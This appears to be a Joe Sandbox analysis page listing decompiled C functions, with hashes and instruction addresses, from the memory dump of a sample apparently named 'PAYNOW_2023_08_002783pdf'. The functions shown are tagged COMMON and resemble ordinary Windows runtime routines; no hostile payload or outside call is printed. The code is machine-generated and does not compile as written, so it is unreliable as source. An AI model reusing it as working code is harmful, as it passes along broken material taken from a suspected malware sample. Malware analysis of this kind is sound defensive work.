Instruction ID: a3ce0df5155a48270851f1f0869d24e5995b8350e65e6595a5e71e0849e12528
Opcode Fuzzy Hash: 3c22ace3323a6afc30c4e1a683dd03c8da6b4204bd6a2dc8d1abd4fed9071b19
Instruction Fuzzy Hash: F4017571E01358AFDB04DFA9D845E9EBBF8EF44714F44406AB950EB380D674DA01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 3346821B Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E3346821B(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x3356b370 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x33445dfc;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E33468270() != 0 &&  *0x33563340 > 5) {
					E334F101A( &_v44, _t27);
					_t22 =  &_v28;
					E334F101A( &_v28, _t28);
					_t11 = E334F105C(0x33563340, 0x33450d0e,  &_v28, _t22, "true",  &_v76);
				}
				return E334B4B50(_t11, _t17, _v8 ^ _t29, 0x33450d0e, _t27, _t28);
			}

0x3346822a
0x3346822d
0x33468235
0x33468239
0x33468269
0x33468269
0x3346823b
0x3346823b
0x33468240
0x00000000
0x33468242
0x33468242
0x33468242
0x33468240
0x3346824c
0x334cb314
0x334cb31b
0x334cb31e
0x334cb335
0x334cb335
0x33468268

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bef032085a43b6dabf392d101c0ffe9c480683779ba9c9cfe1cc59c820c889a
Instruction ID: 7d58021bdb9154e32808eaa39d6fe4a95d86a8307217fc3aed13c3aaff63a6c9
Opcode Fuzzy Hash: 6bef032085a43b6dabf392d101c0ffe9c480683779ba9c9cfe1cc59c820c889a
Instruction Fuzzy Hash: 0F01D675B00708DFDB04DF6AD91099EB3F9AF81654F48406EE902E7650DE20DD06C659

Uniqueness

Uniqueness Score: -1.00%

Function 334A415F Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E334A415F(signed short* __ecx) {
				char _v8;
				void* _t13;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				intOrPtr _t27;
				signed short* _t30;
				intOrPtr _t33;

				_push(__ecx);
				_t30 = __ecx;
				_t33 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t13 = L334A432E(__ecx) - 1;
				if(_t13 == 0) {
					L2:
					_t15 = E334A41BB(_t30,  *(_t33 + 0x26) & 0x0000ffff, _t36,  &_v8);
					if(_t15 >= 0) {
						_t27 = _v8;
						 *0x33566390 = _t27;
						 *((intOrPtr*)(_t33 + 0x2c)) =  *((intOrPtr*)(_t27 + 4));
						 *((intOrPtr*)(_t33 + 0x28)) =  *((intOrPtr*)(_t27 + 0x10));
						 *((short*)(_t33 + 0x24)) =  *((intOrPtr*)(_t27 + 0xc));
						_t15 = 0;
					}
					L4:
					return _t15;
				}
				_t19 = _t13 - 1;
				_t36 = _t19;
				if(_t19 != 0) {
					_t20 = _t19 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						L10:
						_t15 = 0xc000000d;
						goto L4;
					}
					_t21 = _t20 - 1;
					__eflags = _t21;
					if(_t21 == 0) {
						goto L10;
					}
					_t22 = _t21 - 1;
					__eflags = _t22;
					if(_t22 == 0) {
						goto L10;
					}
					_t23 = _t22 - 1;
					__eflags = _t23;
					if(__eflags == 0) {
						goto L2;
					}
					__eflags = _t23 - 1;
					if(__eflags == 0) {
						goto L2;
					}
					goto L10;
				}
				goto L2;
			}

0x334a4164
0x334a416d
0x334a416f
0x334a4177
0x334a417a
0x334a4185
0x334a418f
0x334a4196
0x334a4198
0x334a419b
0x334a41a4
0x334a41aa
0x334a41b1
0x334a41b5
0x334a41b5
0x334a41b7
0x334a41ba
0x334a41ba
0x334a417c
0x334a417c
0x334a417f
0x334e2e19
0x334e2e19
0x334e2e1c
0x334e2e3a
0x334e2e3a
0x00000000
0x334e2e3a
0x334e2e1e
0x334e2e1e
0x334e2e21
0x00000000
0x00000000
0x334e2e23
0x334e2e23
0x334e2e26
0x00000000
0x00000000
0x334e2e28
0x334e2e28
0x334e2e2b
0x00000000
0x00000000
0x334e2e31
0x334e2e34
0x00000000
0x00000000
0x00000000
0x334e2e34
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b68a5d45326f4804adad23e45a8b70e175ab16a51174ac99d8a931168f0d10c
Instruction ID: 5238a5b2e910eb5ad4d9ba508c0375343a8d6c76861200dff107184bd45f2b40
Opcode Fuzzy Hash: 6b68a5d45326f4804adad23e45a8b70e175ab16a51174ac99d8a931168f0d10c
Instruction Fuzzy Hash: 9C01F97A6042119BC301DF7EE61896ABBE8FB7D219748022DE408D3F14D632E983C75C

Uniqueness

Uniqueness Score: -1.00%

Function 3352F38A Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E3352F38A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				void* __edi;
				void* __esi;
				void* _t17;
				signed char* _t18;
				intOrPtr _t24;
				void* _t30;
				intOrPtr _t31;
				intOrPtr _t32;
				void* _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				signed int _t36;

				_t29 = __edx;
				_t24 = __ebx;
				_v8 =  *0x3356b370 ^ _t36;
				_t31 = __edx;
				_t34 = __ecx;
				L334B8F40( &_v52, 0, 0x2c);
				_v20 = _t34;
				_v46 = 0x103a;
				_v16 = _t31;
				_v12 = _a4;
				_t17 = L33483C40();
				_t32 = _t30;
				_t35 = _t33;
				if(_t17 == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t24, _v8 ^ _t36, _t29, _t32, _t35);
			}

0x3352f38a
0x3352f38a
0x3352f399
0x3352f3a3
0x3352f3a8
0x3352f3aa
0x3352f3b4
0x3352f3ba
0x3352f3c1
0x3352f3c4
0x3352f3c7
0x3352f3cc
0x3352f3cd
0x3352f3d0
0x3352f3e2
0x3352f3d2
0x3352f3db
0x3352f3db
0x3352f3ed
0x3352f3ee
0x3352f3f0
0x3352f3f5
0x3352f406

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 481e1d0e99fda4a85c6796ad1748324883dade419df24f91396fb549f754009b
Instruction ID: f738d1be41e0986a23df9cb752840bb408bfc91661994ad1cdde1457364ee7c7
Opcode Fuzzy Hash: 481e1d0e99fda4a85c6796ad1748324883dade419df24f91396fb549f754009b
Instruction Fuzzy Hash: AD018F71E00358AFDB00DBA9E845FAEBBB8EF94704F04406AF540EB280DA74D901C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 335392AB Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E335392AB(intOrPtr __ecx, void* __edx) {
				intOrPtr _t27;
				signed int _t36;
				signed int _t40;
				signed int _t43;
				signed int _t45;
				intOrPtr _t48;

				_t45 =  *(__ecx + 0x84);
				_t27 =  *((intOrPtr*)(__ecx + 0x1cc)) +  *((intOrPtr*)(__ecx + 0x14c));
				 *((intOrPtr*)(__edx + 0x54)) = _t27;
				_t48 = (_t45 - _t27 << 0xc) + 0xfffff000;
				_t43 =  *(__ecx + 0x80) << 0xc;
				 *((intOrPtr*)(__edx + 0x58)) = _t48;
				 *(__edx + 0x4c) = _t43;
				_t40 = _t45 << 0xc;
				 *(__edx + 0x50) = _t40;
				 *(__edx + 0x5c) =  *(__ecx + 0x4c) << 0xc;
				 *(__edx + 0x60) =  *(__ecx + 0x50) << 0xc;
				 *((intOrPtr*)(__edx + 0x30)) = _t48;
				 *((intOrPtr*)(__edx + 0x18)) = __ecx;
				 *((intOrPtr*)(__edx + 0xc)) = 2;
				 *(__edx + 0x10) =  *(__ecx + 0x14) & 0x0000ffff;
				 *(__edx + 0x1c) = _t43;
				 *((intOrPtr*)(__edx + 0x14)) =  *((intOrPtr*)( *[fs:0x30] + 0x88)) - 1;
				 *(__edx + 0x20) = _t40;
				_t36 =  *(__edx + 0x5c);
				 *(__edx + 0x3c) =  *(__edx + 0x3c) & 0x00000000;
				 *(__edx + 0x40) = _t36;
				return _t36;
			}

0x335392ba
0x335392c8
0x335392ce
0x335392d6
0x335392dc
0x335392df
0x335392e2
0x335392e5
0x335392e8
0x335392f1
0x335392fa
0x335392fd
0x33539300
0x33539303
0x3353930e
0x33539320
0x33539323
0x33539326
0x33539329
0x3353932c
0x33539330
0x33539334

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d69b80bc09a443baffa0cc5cbca6f8f88db38978ae6a908cdca1f93a55da69
Instruction ID: e55596d33dfde9271844e2881c656f44701300612e66d90dcfe3f6a49795b747
Opcode Fuzzy Hash: 12d69b80bc09a443baffa0cc5cbca6f8f88db38978ae6a908cdca1f93a55da69
Instruction Fuzzy Hash: 2111A5B1A106219FDB88CF2DC0C0651BBE8FB88350B0582AAED18CB74AD374E915CF94

Uniqueness

Uniqueness Score: -1.00%

Function 335451B6 Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E335451B6(intOrPtr __ecx, signed int __edx, signed int _a4, short _a8, short _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v18;
				short _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __esi;
				void* _t28;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t37;
				signed int _t41;
				intOrPtr _t42;
				void* _t43;
				signed int _t44;
				intOrPtr _t45;
				signed int _t46;

				_t41 = __edx;
				_v8 =  *0x3356b370 ^ _t46;
				_v32 = __ecx;
				_t37 =  *((intOrPtr*)(__ecx + 0x1c));
				_v58 = 0x1c29;
				_v20 = _a8;
				_t44 = _a4;
				_v28 = __edx;
				_v24 = _t44;
				_v18 = _a12;
				_v16 =  *((intOrPtr*)(_t37 + __edx * 4));
				_v12 =  *((intOrPtr*)(_t37 + _t44 * 4));
				_t28 = L33483C40();
				_t45 = _t43;
				if(_t28 == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v64);
				_push(0x18);
				_push(0x402);
				_push( *_t29 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t35, _v8 ^ _t46, _t41, _t42, _t45);
			}

0x335451b6
0x335451c5
0x335451cd
0x335451d0
0x335451d3
0x335451db
0x335451e4
0x335451e7
0x335451ea
0x335451ed
0x335451f4
0x335451fa
0x335451fd
0x33545202
0x33545205
0x33545217
0x33545207
0x33545210
0x33545210
0x33545222
0x33545223
0x33545225
0x3354522a
0x3354523b

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db580afaaa0fc11acb003ed83cde8f050852dca74afca6823f655252bf24d34e
Instruction ID: 9c37c6f0ba07c153b3de3ae6d3e45d702160940e1cd16a8d1fa043b8c912b04e
Opcode Fuzzy Hash: db580afaaa0fc11acb003ed83cde8f050852dca74afca6823f655252bf24d34e
Instruction Fuzzy Hash: 2F116D78E10259EFCB04DFA9D440A9EB7B4EF08704F14845AB914EB340EA34DA02CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3346C2B0 Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E3346C2B0(intOrPtr* __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				signed int _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *__ecx != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = L3346DC40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = L3346CDF0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L3346CEF0(__ecx, _t14, 0xfff);
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x3346c2b4
0x3346c2b6
0x3346c2bb
0x3346c2fa
0x3346c2c1
0x3346c2c6
0x3346c2ca
0x3346c2f3
0x3346c2cc
0x3346c2d7
0x3346c2db
0x334c9db5
0x334c9dc7
0x334c9dcc
0x3346c2e1
0x3346c2e6
0x3346c2e8
0x3346c2e8
0x3346c2db
0x3346c2ca
0x3346c2ed
0x3346c2f2

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9429900c64a47a2e9c2ca5d52e6d9bd748c69c7f3c99ecb53a8a2d053acaf1b
Instruction ID: 23bf7dde61a09558bdd4fcebc60bf3bb03e530479341874ac19a997c1d32e76f
Opcode Fuzzy Hash: f9429900c64a47a2e9c2ca5d52e6d9bd748c69c7f3c99ecb53a8a2d053acaf1b
Instruction Fuzzy Hash: 45F0FC77A40762DFD3320FD94840B1B66A59FC5A64F154039E916FB610CD60CC0297DD

Uniqueness

Uniqueness Score: -1.00%

Function 335450B7 Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E335450B7(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x3356b370 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(L33483C40() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x335450b7
0x335450c6
0x335450ce
0x335450d1
0x335450db
0x335450e4
0x335450ed
0x335450f6
0x33545105
0x33545108
0x33545112
0x33545124
0x33545114
0x3354511d
0x3354511d
0x3354512f
0x33545130
0x33545132
0x33545137
0x33545148

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cbbb3235ba8173ac5878d1d032c646ed5a81cf3ff75f463ce2f29a7ea9b8888
Instruction ID: e31d0173f5ec6078242668f134e4e30ad9fe55203512bf3ade05b9b9c28f80f0
Opcode Fuzzy Hash: 1cbbb3235ba8173ac5878d1d032c646ed5a81cf3ff75f463ce2f29a7ea9b8888
Instruction Fuzzy Hash: 5B110970A002499FDB08DFA9D841A9DBBF4BB08304F0446AAE558EB782EA34D9418B94

Uniqueness

Uniqueness Score: -1.00%

Function 334A5654 Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E334A5654(intOrPtr __ecx, signed int __edx) {
				intOrPtr _v8;
				signed int* _t19;
				signed int _t21;
				intOrPtr _t25;
				signed int _t33;

				_push(__ecx);
				_t21 = __edx;
				_v8 = __ecx;
				_t33 = 1 << __edx + 4;
				_t25 = L33485D90(__edx + 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc);
				if(_t25 != 0) {
					asm("stosd");
					asm("stosd");
					asm("stosd");
					if(1 != 0) {
						_t19 = _t25 + 4;
						do {
							 *_t19 =  *_t19 & 0x00000000;
							_t19 =  &(_t19[2]);
							 *(_t19 - 4) =  *(_t19 - 4) & 0x00000000;
							_t33 = _t33 - 1;
						} while (_t33 != 0);
					}
					 *((intOrPtr*)(_v8 + _t21 * 4)) = _t25;
				}
				return _t25;
			}

0x334a5659
0x334a565c
0x334a565e
0x334a5667
0x334a5681
0x334a5685
0x334a568c
0x334a568d
0x334a568e
0x334a5692
0x334a5694
0x334a5697
0x334a5697
0x334a569a
0x334a569d
0x334a56a1
0x334a56a1
0x334a5697
0x334a56a9
0x334a56a9
0x334a56b1

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142e258c31b2854674597990c3f52e5af594bf5f99f2c3b686c6bb1bb1f636c8
Instruction ID: 0559094235423a9e4705e6d6f8d9412357ec92f7f3c25cb736d411d736df779e
Opcode Fuzzy Hash: 142e258c31b2854674597990c3f52e5af594bf5f99f2c3b686c6bb1bb1f636c8
Instruction Fuzzy Hash: FFF022B3A01214BFE309CF5CC940F5AB7FCEB45650F0540A9E904DB231E671DE04CA98

Uniqueness

Uniqueness Score: -1.00%

Function 3352F30A Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E3352F30A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				intOrPtr _t19;
				signed char* _t25;
				intOrPtr _t31;
				intOrPtr _t37;
				intOrPtr _t38;
				signed int _t39;

				_t36 = __edx;
				_v8 =  *0x3356b370 ^ _t39;
				_t19 = _a4;
				_v32 = __ecx;
				_v28 = __edx;
				_v24 = _t19;
				if(_t19 == 0) {
					_v24 = __edx;
				}
				_v16 = _a8;
				_v20 = _a12;
				_v12 = _a16;
				_v58 = 0x1022;
				if(L33483C40() == 0) {
					_t25 = 0x7ffe0380;
				} else {
					_t25 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v64);
				_push(0x18);
				_push(0x20402);
				_push( *_t25 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t31, _v8 ^ _t39, _t36, _t37, _t38);
			}

0x3352f30a
0x3352f319
0x3352f31c
0x3352f31f
0x3352f322
0x3352f325
0x3352f32a
0x3352f32c
0x3352f32c
0x3352f332
0x3352f338
0x3352f33e
0x3352f346
0x3352f351
0x3352f363
0x3352f353
0x3352f35c
0x3352f35c
0x3352f36e
0x3352f36f
0x3352f371
0x3352f376
0x3352f387

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ec8ec9046cf7a4ca83af642fc6b9041168dcf0b1c99fe14cbbccc0a9b4f1d64
Instruction ID: 7dce360511c2263386f7b83ceb963eff74e95a9a016f2acf1c2687911b6eb70a
Opcode Fuzzy Hash: 8ec8ec9046cf7a4ca83af642fc6b9041168dcf0b1c99fe14cbbccc0a9b4f1d64
Instruction Fuzzy Hash: E8010CB4E00309AFDB04DFA9E555A9EBBF4BF18704F008069F955EB381E674DA00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 334F6040 Relevance: .0, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E334F6040(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _t14;
				void* _t15;
				signed int _t24;

				_push(__ecx);
				_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t14 = L334F5D60(_a4, _a8, _a12, _a16,  &_v8);
				if(_t14 >= 0) {
					_push(0);
					_t15 = L33496882(0, _v8, _a28, 0, 0, _a20, 0, 0xfffffffc, _a24);
					E33483BC0(_t24, 0, _v8);
					_t14 = _t15;
				}
				return _t14;
			}

0x334f6045
0x334f604d
0x334f6060
0x334f6067
0x334f6072
0x334f6081
0x334f608d
0x334f6092
0x334f6095
0x334f6098

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd29ffe6cddaff40cdda75bcb1669297d52e5307dee62bf9dea0ffac2072810
Instruction ID: bc32f23b49c96ec66a49621e36a46e74a7a32486df3d6194626b7fcf70a18b3a
Opcode Fuzzy Hash: 0dd29ffe6cddaff40cdda75bcb1669297d52e5307dee62bf9dea0ffac2072810
Instruction Fuzzy Hash: 61F0127250010DBFEF019F94DD80DAF7BBDEF45798B144169FA1496120D736DD21A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 334A716D Relevance: .0, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E334A716D(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				char _v12;
				char _v20;
				void* __esi;
				void* __ebp;
				void* _t16;
				void* _t19;
				void* _t25;
				intOrPtr _t26;

				_t25 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				if(__ecx == 0 || __edx == 0) {
					L7:
					E33544A6D(_t19, _t20, _t22, _t25, _t26);
					return 0xc000000d;
				}
				_t26 = _a4;
				if(_t26 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L7;
				}
				_push(0x1e);
				_v12 =  *((intOrPtr*)(_t26 + 0x28));
				_push("true");
				_push( &_v12);
				_v8 = __edx;
				_push( &_v20);
				_push(__ecx);
				_t16 = L334B2C20();
				if(_t16 >= 0) {
					L3347491F(_t26, 1);
					return 0;
				}
				return _t16;
			}

0x334a716d
0x334a716d
0x334a716d
0x334a716d
0x334a7178
0x334a71c4
0x334a71c4
0x00000000
0x334a71c9
0x334a717e
0x334a7183
0x00000000
0x00000000
0x334a7197
0x334a7199
0x334a719f
0x334a71a1
0x334a71a5
0x334a71a8
0x334a71a9
0x334a71aa
0x334a71b1
0x334a71b8
0x00000000
0x334a71bd
0x334a71c1

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9094b8c0e0c6258773a4d94f691f5c07bcccd706a453715036b0034c324f6df
Instruction ID: 47ad95210e53bae672078b7a6654b67d5a1b0c84d1fc5d41f6f92a49b41c3a23
Opcode Fuzzy Hash: d9094b8c0e0c6258773a4d94f691f5c07bcccd706a453715036b0034c324f6df
Instruction Fuzzy Hash: 88F0FCB5F053545FEB14C7E98940FAA7FF89F90750F084455BD41D7740D630D94087A8

Uniqueness

Uniqueness Score: -1.00%

Function 3346C090 Relevance: .0, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E3346C090(intOrPtr _a4) {
				void* __ecx;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t11;
				signed int _t12;
				void* _t13;
				intOrPtr _t15;

				_t15 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				_t8 = E334C61D5();
				_t12 = 0;
				if(_t8 != 0) {
					_push("true");
				} else {
					_t12 = 1;
					_push("true");
				}
				_pop(_t9);
				if(_a4 == 0) {
					_t11 = 0x33446e30;
					_t13 = _t9;
				} else {
					_t11 = 0x33446e20;
					if(_t12 == 0) {
						_t11 = 0x33446e58;
					}
					_t13 = (_t12 ^ 0x00000001) + 3;
				}
				_t10 = L33472EE8(_t11, _t13, 0, 0);
				if(_t10 != 0) {
					 *((intOrPtr*)(_t10 + 0x38)) = _t15;
					 *((char*)(_t10 + 0x48)) = 0;
					return _t10;
				}
				return _t10;
			}

0x3346c0a0
0x3346c0a6
0x3346c0ab
0x3346c0af
0x3346c0b6
0x3346c0b1
0x3346c0b1
0x3346c0b2
0x3346c0b2
0x3346c0bc
0x3346c0bd
0x3346c0d5
0x3346c0da
0x3346c0bf
0x3346c0bf
0x3346c0c6
0x3346c0c8
0x3346c0c8
0x3346c0d0
0x3346c0d0
0x3346c0e0
0x3346c0e7
0x3346c0e9
0x3346c0ec
0x00000000
0x3346c0ec
0x3346c0f3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
